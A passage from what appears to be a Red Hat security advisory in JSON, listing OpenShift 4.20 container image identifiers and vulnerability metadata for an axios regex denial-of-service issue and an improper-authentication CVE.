"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name"
},
{
"acknowledgments": [
{
"names": [
"Ricardo Pchevuzinske Katz"
],
"organization": "Red Hat",
"summary": "This issue was discovered by Red Hat."
}
],
"cve": "CVE-2026-46579",
"cwe": {
"id": "CWE-287",
"name": "Improper Authentication"
},
"discovery_date": "2026-04-17T20:10:23+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
